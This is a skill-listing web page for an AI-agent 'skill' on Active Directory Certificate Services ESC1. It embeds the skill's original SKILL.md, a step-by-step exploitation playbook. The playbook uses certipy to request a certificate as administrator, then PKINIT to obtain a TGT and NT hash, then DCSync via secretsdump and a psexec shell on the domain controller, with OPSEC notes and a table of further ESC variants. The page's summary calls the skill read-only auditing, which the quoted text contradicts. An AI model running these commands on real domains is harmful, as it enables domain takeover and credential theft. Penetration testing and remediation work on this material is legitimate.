adcs-esc1
What it does
This skill covers one specific weakness in Microsoft certificate services, called ESC1, where a template lets a requester choose the identity on the certificate. It is for security testers who have permission to check a domain.
When to use it
- βWhen a security tester is reviewing certificate templates in an authorized Active Directory domain.
- βWhen the agent needs to list which templates could have the ESC1 misconfiguration.
- βWhen a report must explain why a certificate template is risky and how to fix it.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether any certificate templates on our authorized test domain allow someone to pick any user identity?β
5 new skills a week. 1 minute to read.
How it works
The agent lists the certificate templates with a read-only tool, checks the settings that together make a template risky, and then reports what it found.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
ADCS ESC1 Exploitation
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU β authenticate as that user via PKINIT β instant domain admin.
1. Enumerate templates
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.json
Decepticon ingest:
adcs_audit("/tmp/adcs.json")
2. Identify ESC1 candidates
A template is ESC1-vulnerable when ALL true:
Enrollment Rightsincludes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKUorSmart Card Logon EKUorAny PurposeEnrollee Supplies Subjectflag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager ApprovaldisabledAuthorized Signatures Requiredis 0
certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
3. Request the cert as Domain Admin
certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfx
The magic is -upn administrator@dom β because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
4. Authenticate as Domain Admin
PKINIT (cert β TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed
You get back:
- A TGT in
administrator.ccache(use w/export KRB5CCNAME=...) - The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)
5. Operate as Domain Admin
With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'
6. Promote
kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> β DA",
props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")
ESC variants quick-ref
| ESC | Misconfig | Sub-skill |
|---|---|---|
| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |
| ESC2 | Any Purpose EKU template | similar to ESC1 |
| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |
| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template β ESC1 |
| ESC5 | Vulnerable PKI object ACL | edit CA settings |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |
| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |
| ESC8 | NTLM relay β AD CS web enrollment | coerce + relay |
| ESC9 | UPN no security extension | low-priv β high-priv via S4U2self |
| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |
| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |
| ESC13 | Cert template w/ OID linked to group β group membership manipulation |
OPSEC
- Certipy req generates event 4886 on the CA (cert issued)
- PKINIT generates event 4768 on DC w/ certificate fields populated
- Hard to suppress; rely on engagement being permitted to be loud here
CVSS
- Any ESC1 reachable from low-priv user:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - ESC1 reachable from anonymous (rare): 10.0
- ESC8 NTLM relay (different exploit, same outcome): 9.8
Defender remediation
# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)
# Fix via UI: Template properties β Subject Name tab β uncheck
# "Supply in the request"
FAQ
What does ESC1 mean?
It is a name for a common certificate template setting that lets a requester supply their own identity. The skill explains which settings must all be present.
Does the skill say how to fix the problem?
The skill focuses on finding and confirming the issue. Fixes belong to the system owners and their own change process.
Who should use this skill?
It is for authorized security testers and administrators who need to audit certificate services in their own Active Directory.
Details
Original description by the author
Exploit Active Directory Certificate Services ESC1 β vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13935
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.